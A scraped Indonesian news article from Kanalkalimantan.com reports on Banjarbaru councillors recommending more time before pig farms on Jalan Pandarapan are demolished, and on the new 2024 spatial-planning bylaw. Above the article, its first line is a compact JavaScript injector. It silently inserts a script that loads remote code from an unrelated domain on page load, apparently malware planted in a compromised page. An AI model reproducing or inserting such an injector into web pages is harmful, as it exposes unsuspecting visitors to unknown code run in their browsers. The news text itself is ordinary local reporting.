(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rekomendasi usulan penambahan waktu pembongkaran pemindahan peternakan babi di Jalan Pandarapan Guntung Manggis disebut sejalan dengan aturan Rencana Tata Ruang Wilayah (RTRW) 2024-2045 Kota Banjarbaru.
Hal itu disampaikan Ketua Komisi III DPRD Kota Banjarbaru, Emi Lasari usai rapat dengar pendapat lintas Komisi I dan Komisi III bersama peternak babi dan SKPD terkait, Selasa (4/6/2024) siang.
Emi menjelaskan Peraturan Daerah (Perda) Kota Banjarbaru tentang RTRW Nomor 4 tahun 2024 baru saja diundangkan per tanggal 2 April 2024, menggantikan Perda RTRW sebelumnya yang dipakai pemerintah berkegiatan menindak peternakan tanpa izin tersebut.
“Jadi memang yang dipakai Perda RTRW yang lama, kita harus update Perda yang baru. Disitu ada izinnya terkait pengaturan kawasan, kemudian Perda Nomor 2 tentang Peternakan,” ujar Emi Lasari.
Baca juga: Kisah Perjalanan Maestro Lukis Kalsel Misbach Tamrin
“Makanya kita minta Satpol PP meng-update terkait regulasi Perda RTRW dan Perda Peternakan, disana termuat aturan untuk peternakan skala rumahan, dan sebagianya yang memang harus kita lakukan pembinaan, hal-hal itu menjadi dasar kita,” jelas dia.
Lebih lanjut dijelaskan Emi, berdasar Perda RTRW itu pada masa transisi, anggota dewan meminta Dinas Lingkungan Hidup (DLH) Banjarbaru melakukan pembinaan dan pendampingan terkait pengolahan limbah.
Sebab menurut Emi, dalam Perda itu juga dimuat bahwa peternakan masih diperbolehkan berada di kawasan permukiman, dengan catatan memiliki izin dari pemerintah.
“Dan kedua di kawasan permukiman itu yang harus diantisipasi adalah komplain dari masyarakat karena ketika ada keberataan masuk ke Perda Ketertiban Umum (Tibum),” ungkapnya.
Baca juga: Vonis 5 Tahun Mantan Karyawan BPR Candi Agung Amuntai
Sementara dari sisi peruntukan kawasan, kata Emi, peternakan diperbolehkan ada, tapi dalam menjalankan aktivitas harus memperhatikan perizinan, pengolahan limbah, aktivitas peternakan dan lainnya.
“Oleh karenanya kita harapkan ke dapan kalau pun peternakan alij jenis ternaknya, kita minta pembinaan dari DLH supaya tidak mengalami kendala yang sama,” terang Emi.
Kasatpol PP Banjarbaru Hidayaturahman. Foto: wanda
Sementara itu, Kasatpol PP Banjarbaru Hidayaturahman mengaku, telah menerima usulan rekomendasi toleransi dari Komisi I DAN komisi III DPRD Banjarbaru terkait menambah tenggat waktu pembongkaran kandang hingga 8 bulan ke depan.
Namun, dirinya mengatakan, masih harus melaporkan kembali kepada Wali Kota Banjarbaru.
Baca juga: Pembangunan Gedung DPRD dan Rumah Jabatan Gubernur Kalsel Dimulai
“Terkait waktu pembebasan kandang babi yang disampaikan oleh anggota dewan kemarin akan kami sampaikan ke Wali Kota Banjarbaru, bagaimana nanti keputusannya itu nanti kita tunggu dari arahan Wali Kota,” ujar Kasatpol PP Banjarbaru Hidayaturahman, Rabu (5/6/2024).
Lebih lanjut Dayat -biasa disapa- menjelaskan, memang dalam proses pihaknya melakukan pemanggilan dan surat peringatan kepada peternak babi ketika masih menggunakan Perda RTRW yang lama.
“Pada saat kita memulai proses pemanggilan dan sebagainya, memang kita masih menggunakan Perda lama karena Perda yang baru masih dalam proses pembahasan, sehingga kita tetap berjalan menggunakan itu,” jelas dia.
Kendati Perda RTRW yang baru tersebut telah disahkan, pihaknya masih belum mengetahui apakah Perda baru tersebut bisa diterapkan langsung atau belum.
“Kami masih belum tahu apakah itu bisa diterapkan atau belum, barangkali bagian hukum yang tahu terkait penerapan Perda yang baru itu,” tuturnya.
Baca juga: Pemkab Banjar Launching Intervensi Serentak Pencegahan Stunting pada 10 Juni 2024
Di lain pihak, Kepala Bagian Hukum Setdako Banjarbaru, Gugus Sugiarto saat dikonfirmasi membenarkan Perda Nomor 4 tahun 2024 tentang RTRW Kota Banjarbaru telah diundangkan pertanggal 2 April 2024.
“Per tanggal 2 April 2024 itu penomoran diundangkannya, kalau pengesahannya tahun 2023 lalu, tapi ada proses evaluasi dan lain-lain, baru diundangkan, jadi dari 2 April sudah berlaku,” jelas Gugus Sugiarto.
Gugus menjelaskan jika Perda itu disahkan hasil dari evaluasi dari Kementerian Dalam Negeri (Kemendagri), sehingga jika ingin menindak yang bertentangan dengan RTRW bisa dengan mamakai Perda baru itu.
Baca juga: Perhatikan Langkah Berikut, Tips Jitu Mengatasi Lupa Username atau Password BRImo
Meski begitu kata Gugus, dalam pemberian usulan dewan kepada pemerintah untuk mentoleransi waktu pembebasan kandang babi, Bagian Hukum Setdako tidak ikut andil dalam diskusi.
“Kami diundang awalnya tapi hari Senin, yang hari Selasa kita tidak diundang lagi, kami sudah siapkan bahan padahal, jadi kami bukan tidak datang,” tegas Gugus. (Kanalkalimantan.com/wanda)
Reporter : wanda
Editor : bie
KANALKALIMANTAN.COM, MARTAPURA – Bunda PAUD Kabupaten Banjar Hj Nurgita Tiyas membuka Rapat Kerja (Raker) di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sejumlah aspek dalam budaya Banjar menjadi topik hangat di sela pengabdian internasional… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas melakukan pembahasan terhadap Persetujuan Penggunaan Kawasan Hutan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Masyarakat Anti Fitnah Indonesia (MAFINDO) Kalimantan Selatan kembali menggelar implementasi pelatihan AI… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Bonus atlet dan pelatih Banjarmasin peraih medali pada Pekan Olahraga Provinsi (Porprov)… Read More
KANALKALIMANTAN.COM - Menawarkan produk atau layanan yang bagus adalah kewajiban bisnis, namun itu saja tidak… Read More
This website uses cookies.